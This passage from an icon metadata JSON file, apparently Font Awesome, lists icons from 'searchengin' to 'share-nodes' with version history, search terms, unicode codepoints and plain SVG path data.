        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M320 0H141.3C124.3 0 108 6.7 96 18.7L18.7 96C6.7 108 0 124.3 0 141.3V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 88v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24zm80 0v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24zm80 0v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M320 0H141.3C124.3 0 108 6.7 96 18.7L18.7 96C6.7 108 0 124.3 0 141.3V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 88v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24zm80 0v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24zm80 0v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "searchengin": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3eb",
    "label": "Searchengin",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 460 512\"><path d=\"M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z\"/></svg>",
        "viewBox": [0, 0, 460, 512],
        "width": 460,
        "height": 512,
        "path": "M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z"
      }
    },
    "free": ["brands"]
  },
  "section": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Section Sign", "law", "legal", "silcrow"]
    },
    "styles": ["solid"],
    "unicode": "e447",
    "label": "Section",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M64.9 96C67.1 84.4 73.7 76.2 86 70.6c13.8-6.2 34.8-8.9 61.2-4.5c8.8 1.4 36.1 7.1 44.1 9.3c17 4.8 34.7-5.1 39.5-22.2s-5.1-34.7-22.2-39.5c-11.1-3.1-41-9.2-50.9-10.8C123-2.7 88.3-.6 59.7 12.3C29.9 25.8 7.5 50.9 1.6 86.5c-.1 .5-.2 1.1-.2 1.6c-2.2 19.7 .3 37.9 8.1 54.1c7.7 16.1 19.4 28 32 36.9c.6 .5 1.3 .9 2 1.4C22.3 194.2 6.5 215.1 1.7 243c-.1 .6-.2 1.1-.2 1.7c-2.3 19.3 .4 37.1 8.4 53c7.9 15.6 19.8 27 32.3 35.5c22.4 15.2 51.9 24 75.4 31l0 0 3.7 1.1c27.2 8.2 46.9 14.6 59.4 23.8c5.5 4 8.2 7.6 9.5 10.9c1.3 3.2 2.6 8.6 .9 18.1c-1.7 10.1-7.7 18-20.7 23.5c-14 6-35.4 8.5-62 4.4c-12.8-2.1-35.1-9.7-54.1-16.2l0 0c-4.3-1.5-8.5-2.9-12.3-4.2C25.3 420 7.2 429.1 1.6 445.8s3.5 34.9 20.3 40.5c2.6 .8 5.7 1.9 9.2 3.1c18.6 6.3 48.5 16.6 67.3 19.6l0 0 .2 0c34.5 5.4 68.8 3.4 97.2-8.7c29.4-12.6 52.5-36.5 58.5-71.5c3.3-19.3 1.9-37.4-5-53.9c-6.3-15-16.4-26.4-27.6-35.2c16.5-13.9 28.5-33.2 32.6-58.2c3.2-19.8 1.9-38.3-4.8-55.1c-6.7-16.8-17.8-29.4-30.2-39c-22.8-17.6-53.6-27.4-77.7-35l-1.4-.5c-27.4-8.7-47.8-15.3-61.5-25c-6.1-4.4-9.5-8.5-11.4-12.4c-1.8-3.7-3.2-9.3-2.3-18.5zm76.7 208.5c-.2-.1-.4-.1-.6-.2l-1.4-.4c-27.4-8.2-47.9-14.5-61.7-23.8c-6.2-4.2-9.3-7.9-11-11.3c-1.5-3-2.9-7.7-2.1-15.7c1.9-9.7 7.9-17.3 20.5-22.7c14-6 35.4-8.5 62.1-4.3l16.4 2.6c6.3 2.9 11.7 6 16.2 9.5c5.5 4.2 8.4 8.2 10 12.2c1.6 4 2.8 10.4 1.1 20.9c-2.4 14.7-12.8 26.4-37.1 31l-12.4 2.3z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M64.9 96C67.1 84.4 73.7 76.2 86 70.6c13.8-6.2 34.8-8.9 61.2-4.5c8.8 1.4 36.1 7.1 44.1 9.3c17 4.8 34.7-5.1 39.5-22.2s-5.1-34.7-22.2-39.5c-11.1-3.1-41-9.2-50.9-10.8C123-2.7 88.3-.6 59.7 12.3C29.9 25.8 7.5 50.9 1.6 86.5c-.1 .5-.2 1.1-.2 1.6c-2.2 19.7 .3 37.9 8.1 54.1c7.7 16.1 19.4 28 32 36.9c.6 .5 1.3 .9 2 1.4C22.3 194.2 6.5 215.1 1.7 243c-.1 .6-.2 1.1-.2 1.7c-2.3 19.3 .4 37.1 8.4 53c7.9 15.6 19.8 27 32.3 35.5c22.4 15.2 51.9 24 75.4 31l0 0 3.7 1.1c27.2 8.2 46.9 14.6 59.4 23.8c5.5 4 8.2 7.6 9.5 10.9c1.3 3.2 2.6 8.6 .9 18.1c-1.7 10.1-7.7 18-20.7 23.5c-14 6-35.4 8.5-62 4.4c-12.8-2.1-35.1-9.7-54.1-16.2l0 0c-4.3-1.5-8.5-2.9-12.3-4.2C25.3 420 7.2 429.1 1.6 445.8s3.5 34.9 20.3 40.5c2.6 .8 5.7 1.9 9.2 3.1c18.6 6.3 48.5 16.6 67.3 19.6l0 0 .2 0c34.5 5.4 68.8 3.4 97.2-8.7c29.4-12.6 52.5-36.5 58.5-71.5c3.3-19.3 1.9-37.4-5-53.9c-6.3-15-16.4-26.4-27.6-35.2c16.5-13.9 28.5-33.2 32.6-58.2c3.2-19.8 1.9-38.3-4.8-55.1c-6.7-16.8-17.8-29.4-30.2-39c-22.8-17.6-53.6-27.4-77.7-35l-1.4-.5c-27.4-8.7-47.8-15.3-61.5-25c-6.1-4.4-9.5-8.5-11.4-12.4c-1.8-3.7-3.2-9.3-2.3-18.5zm76.7 208.5c-.2-.1-.4-.1-.6-.2l-1.4-.4c-27.4-8.2-47.9-14.5-61.7-23.8c-6.2-4.2-9.3-7.9-11-11.3c-1.5-3-2.9-7.7-2.1-15.7c1.9-9.7 7.9-17.3 20.5-22.7c14-6 35.4-8.5 62.1-4.3l16.4 2.6c6.3 2.9 11.7 6 16.2 9.5c5.5 4.2 8.4 8.2 10 12.2c1.6 4 2.8 10.4 1.1 20.9c-2.4 14.7-12.8 26.4-37.1 31l-12.4 2.3z"
      }
    },
    "free": ["solid"]
  },
  "seedling": {
    "aliases": {
      "names": ["sprout"],
      "unicodes": {
        "composite": ["1f331"],
        "secondary": ["10f4d8"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "environment",
        "flora",
        "grow",
        "plant",
        "sapling",
        "seedling",
        "vegan",
        "young"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4d8",
    "label": "Seedling",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 32c0 113.6-84.6 207.5-194.2 222c-7.1-53.4-30.6-101.6-65.3-139.3C290.8 46.3 364 0 448 0h32c17.7 0 32 14.3 32 32zM0 96C0 78.3 14.3 64 32 64H64c123.7 0 224 100.3 224 224v32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V320C100.3 320 0 219.7 0 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 32c0 113.6-84.6 207.5-194.2 222c-7.1-53.4-30.6-101.6-65.3-139.3C290.8 46.3 364 0 448 0h32c17.7 0 32 14.3 32 32zM0 96C0 78.3 14.3 64 32 64H64c123.7 0 224 100.3 224 224v32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V320C100.3 320 0 219.7 0 96z"
      }
    },
    "free": ["solid"]
  },
  "sellcast": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["eercast"]
    },
    "styles": ["brands"],
    "unicode": "f2da",
    "label": "Sellcast",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z"
      }
    },
    "free": ["brands"]
  },
  "sellsy": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f213",
    "label": "Sellsy",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z"
      }
    },
    "free": ["brands"]
  },
  "server": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f233"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["computer", "cpu", "database", "hardware", "network"]
    },
    "styles": ["solid"],
    "unicode": "f233",
    "label": "Server",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm280 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm48 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM64 288c-35.3 0-64 28.7-64 64v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V352c0-35.3-28.7-64-64-64H64zm280 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm56 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm280 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm48 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM64 288c-35.3 0-64 28.7-64 64v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V352c0-35.3-28.7-64-64-64H64zm280 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm56 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "servicestack": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ec",
    "label": "Servicestack",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z"
      }
    },
    "free": ["brands"]
  },
  "shapes": {
    "aliases": {
      "names": ["triangle-circle-square"],
      "unicodes": {
        "secondary": ["10f61f"]
      }
    },
    "changes": [
      "5.2.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blocks", "build", "circle", "square", "triangle"]
    },
    "styles": ["solid"],
    "unicode": "f61f",
    "label": "Shapes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M315.4 15.5C309.7 5.9 299.2 0 288 0s-21.7 5.9-27.4 15.5l-96 160c-5.9 9.9-6.1 22.2-.4 32.2s16.3 16.2 27.8 16.2H384c11.5 0 22.2-6.2 27.8-16.2s5.5-22.3-.4-32.2l-96-160zM288 312V456c0 22.1 17.9 40 40 40H472c22.1 0 40-17.9 40-40V312c0-22.1-17.9-40-40-40H328c-22.1 0-40 17.9-40 40zM128 512a128 128 0 1 0 0-256 128 128 0 1 0 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M315.4 15.5C309.7 5.9 299.2 0 288 0s-21.7 5.9-27.4 15.5l-96 160c-5.9 9.9-6.1 22.2-.4 32.2s16.3 16.2 27.8 16.2H384c11.5 0 22.2-6.2 27.8-16.2s5.5-22.3-.4-32.2l-96-160zM288 312V456c0 22.1 17.9 40 40 40H472c22.1 0 40-17.9 40-40V312c0-22.1-17.9-40-40-40H328c-22.1 0-40 17.9-40 40zM128 512a128 128 0 1 0 0-256 128 128 0 1 0 0 256z"
      }
    },
    "free": ["solid"]
  },
  "share": {
    "aliases": {
      "names": ["arrow-turn-right", "mail-forward"],
      "unicodes": {
        "secondary": ["10f064"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["forward", "save", "send", "social"]
    },
    "styles": ["solid"],
    "unicode": "f064",
    "label": "Share",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M307 34.8c-11.5 5.1-19 16.6-19 29.2v64H176C78.8 128 0 206.8 0 304C0 417.3 81.5 467.9 100.2 478.1c2.5 1.4 5.3 1.9 8.1 1.9c10.9 0 19.7-8.9 19.7-19.7c0-7.5-4.3-14.4-9.8-19.5C108.8 431.9 96 414.4 96 384c0-53 43-96 96-96h96v64c0 12.6 7.4 24.1 19 29.2s25 3 34.4-5.4l160-144c6.7-6.1 10.6-14.7 10.6-23.8s-3.8-17.7-10.6-23.8l-160-144c-9.4-8.5-22.9-10.6-34.4-5.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M307 34.8c-11.5 5.1-19 16.6-19 29.2v64H176C78.8 128 0 206.8 0 304C0 417.3 81.5 467.9 100.2 478.1c2.5 1.4 5.3 1.9 8.1 1.9c10.9 0 19.7-8.9 19.7-19.7c0-7.5-4.3-14.4-9.8-19.5C108.8 431.9 96 414.4 96 384c0-53 43-96 96-96h96v64c0 12.6 7.4 24.1 19 29.2s25 3 34.4-5.4l160-144c6.7-6.1 10.6-14.7 10.6-23.8s-3.8-17.7-10.6-23.8l-160-144c-9.4-8.5-22.9-10.6-34.4-5.4z"
      }
    },
    "free": ["solid"]
  },
  "share-from-square": {
    "aliases": {
      "names": ["share-square"],
      "unicodes": {
        "composite": ["f045"],
        "secondary": ["10f14d"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["forward", "save", "send", "social"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f14d",
    "label": "Share From Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M352 224H305.5c-45 0-81.5 36.5-81.5 81.5c0 22.3 10.3 34.3 19.2 40.5c6.8 4.7 12.8 12 12.8 20.3c0 9.8-8 17.8-17.8 17.8h-2.5c-2.4 0-4.8-.4-7.1-1.4C210.8 374.8 128 333.4 128 240c0-79.5 64.5-144 144-144h80V34.7C352 15.5 367.5 0 386.7 0c8.6 0 16.8 3.2 23.2 8.9L548.1 133.3c7.6 6.8 11.9 16.5 11.9 26.7s-4.3 19.9-11.9 26.7l-139 125.1c-5.9 5.3-13.5 8.2-21.4 8.2H384c-17.7 0-32-14.3-32-32V224zM80 96c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16H400c8.8 0 16-7.2 16-16V384c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 44.2-35.8 80-80 80H80c-44.2 0-80-35.8-80-80V112C0 67.8 35.8 32 80 32h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M352 224H305.5c-45 0-81.5 36.5-81.5 81.5c0 22.3 10.3 34.3 19.2 40.5c6.8 4.7 12.8 12 12.8 20.3c0 9.8-8 17.8-17.8 17.8h-2.5c-2.4 0-4.8-.4-7.1-1.4C210.8 374.8 128 333.4 128 240c0-79.5 64.5-144 144-144h80V34.7C352 15.5 367.5 0 386.7 0c8.6 0 16.8 3.2 23.2 8.9L548.1 133.3c7.6 6.8 11.9 16.5 11.9 26.7s-4.3 19.9-11.9 26.7l-139 125.1c-5.9 5.3-13.5 8.2-21.4 8.2H384c-17.7 0-32-14.3-32-32V224zM80 96c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16H400c8.8 0 16-7.2 16-16V384c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 44.2-35.8 80-80 80H80c-44.2 0-80-35.8-80-80V112C0 67.8 35.8 32 80 32h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H80z"
      },
      "regular": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M400 255.4V240 208c0-8.8-7.2-16-16-16H352 336 289.5c-50.9 0-93.9 33.5-108.3 79.6c-3.3-9.4-5.2-19.8-5.2-31.6c0-61.9 50.1-112 112-112h48 16 32c8.8 0 16-7.2 16-16V80 64.6L506 160 400 255.4zM336 240h16v48c0 17.7 14.3 32 32 32h3.7c7.9 0 15.5-2.9 21.4-8.2l139-125.1c7.6-6.8 11.9-16.5 11.9-26.7s-4.3-19.9-11.9-26.7L409.9 8.9C403.5 3.2 395.3 0 386.7 0C367.5 0 352 15.5 352 34.7V80H336 304 288c-88.4 0-160 71.6-160 160c0 60.4 34.6 99.1 63.9 120.9c5.9 4.4 11.5 8.1 16.7 11.2c4.4 2.7 8.5 4.9 11.9 6.6c3.4 1.7 6.2 3 8.2 3.9c2.2 1 4.6 1.4 7.1 1.4h2.5c9.8 0 17.8-8 17.8-17.8c0-7.8-5.3-14.7-11.6-19.5l0 0c-.4-.3-.7-.5-1.1-.8c-1.7-1.1-3.4-2.5-5-4.1c-.8-.8-1.7-1.6-2.5-2.6s-1.6-1.9-2.4-2.9c-1.8-2.5-3.5-5.3-5-8.5c-2.6-6-4.3-13.3-4.3-22.4c0-36.1 29.3-65.5 65.5-65.5H304h32zM72 32C32.2 32 0 64.2 0 104V440c0 39.8 32.2 72 72 72H408c39.8 0 72-32.2 72-72V376c0-13.3-10.7-24-24-24s-24 10.7-24 24v64c0 13.3-10.7 24-24 24H72c-13.3 0-24-10.7-24-24V104c0-13.3 10.7-24 24-24h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H72z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M400 255.4V240 208c0-8.8-7.2-16-16-16H352 336 289.5c-50.9 0-93.9 33.5-108.3 79.6c-3.3-9.4-5.2-19.8-5.2-31.6c0-61.9 50.1-112 112-112h48 16 32c8.8 0 16-7.2 16-16V80 64.6L506 160 400 255.4zM336 240h16v48c0 17.7 14.3 32 32 32h3.7c7.9 0 15.5-2.9 21.4-8.2l139-125.1c7.6-6.8 11.9-16.5 11.9-26.7s-4.3-19.9-11.9-26.7L409.9 8.9C403.5 3.2 395.3 0 386.7 0C367.5 0 352 15.5 352 34.7V80H336 304 288c-88.4 0-160 71.6-160 160c0 60.4 34.6 99.1 63.9 120.9c5.9 4.4 11.5 8.1 16.7 11.2c4.4 2.7 8.5 4.9 11.9 6.6c3.4 1.7 6.2 3 8.2 3.9c2.2 1 4.6 1.4 7.1 1.4h2.5c9.8 0 17.8-8 17.8-17.8c0-7.8-5.3-14.7-11.6-19.5l0 0c-.4-.3-.7-.5-1.1-.8c-1.7-1.1-3.4-2.5-5-4.1c-.8-.8-1.7-1.6-2.5-2.6s-1.6-1.9-2.4-2.9c-1.8-2.5-3.5-5.3-5-8.5c-2.6-6-4.3-13.3-4.3-22.4c0-36.1 29.3-65.5 65.5-65.5H304h32zM72 32C32.2 32 0 64.2 0 104V440c0 39.8 32.2 72 72 72H408c39.8 0 72-32.2 72-72V376c0-13.3-10.7-24-24-24s-24 10.7-24 24v64c0 13.3-10.7 24-24 24H72c-13.3 0-24-10.7-24-24V104c0-13.3 10.7-24 24-24h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H72z"
      }
    },
    "free": ["regular", "solid"]
  },
  "share-nodes": {
    "aliases": {
      "names": ["share-alt"],
      "unicodes": {
        "secondary": ["10f1e0"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["forward", "save", "send", "social"]
    },
    "styles": ["solid"],
